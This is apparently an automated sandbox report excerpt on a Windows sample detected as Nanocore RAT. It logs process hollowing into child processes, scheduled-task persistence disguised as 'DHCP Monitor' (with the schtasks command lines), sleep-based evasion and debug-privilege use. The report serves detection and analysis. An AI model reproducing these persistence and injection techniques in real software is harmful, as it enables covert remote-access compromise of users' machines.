Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe TID: 4616	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe TID: 6472	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe TID: 4668	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe TID: 6804	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe TID: 6656	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe TID: 6908	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe TID: 1068	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe TID: 5384	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe TID: 1744	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe TID: 5940	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe TID: 2824	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe TID: 6496	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Window / User API: threadDelayed 4685
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Window / User API: threadDelayed 4764
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Window / User API: foregroundWindowGot 822

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Thread delayed: delay time: 922337203685477

Source: FYrMKmDjFi.exe, 00000009.00000002.337422973.000000000088B000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: dhcpmon.exe, 0000000A.00000002.340926033.0000000001264000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Memory written: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe base: 400000
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Memory written: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe base: 402000
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Memory written: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe base: 420000
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Memory written: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe base: 422000
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Memory written: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe base: C6A008
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 400000
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 402000
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 420000
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 422000
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: DB6008
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 400000
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 402000
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 420000
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 422000
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: C7C008

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe base: 400000 protect: page execute and read and write
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 400000 protect: page execute and read and write
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Memory written: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Memory written: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe base: 400000 value starts with: 4D5A
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 400000 value starts with: 4D5A
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Memory written: C:\Users\user\AppData\Local\Temp\dhcpmon.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process created: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp563.tmp'
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmp8B0.tmp'
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process created: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process created: C:\Users\user\AppData\Local\Temp\dhcpmon.exe C:\Users\user\AppData\Local\Temp\dhcpmon.exe
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process created: C:\Users\user\AppData\Local\Temp\dhcpmon.exe C:\Users\user\AppData\Local\Temp\dhcpmon.exe

Source: FYrMKmDjFi.exe, 00000004.00000002.563831560.00000000030BB000.00000004.00000001.sdmp	Binary or memory string: Program Manager
Source: FYrMKmDjFi.exe, 00000004.00000002.562038195.0000000001840000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: FYrMKmDjFi.exe, 00000004.00000002.562038195.0000000001840000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: FYrMKmDjFi.exe, 00000004.00000002.562038195.0000000001840000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Queries volume information: C:\Users\user\Desktop\FYrMKmDjFi.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe VolumeInformation
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\dhcpmon.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\dhcpmon.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.dhcpmon.exe.3f8df50.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf4bed.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FYrMKmDjFi.exe.3dfce00.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f84bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.FYrMKmDjFi.exe.371d858.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3efb78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f805c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf05c4.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5860000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3ceb78e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e4bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b20108.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e05c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f805c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e05c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5860000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf05c4.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.dhcpmon.exe.3f8df50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5864629.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.dhcpmon.exe.4112080.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f005c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b20108.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b22fb8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f005c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f04bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.377764410.0000000003CA9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.359270670.0000000003EB9000.00000004.00000001.sdmp, type: MEMORY
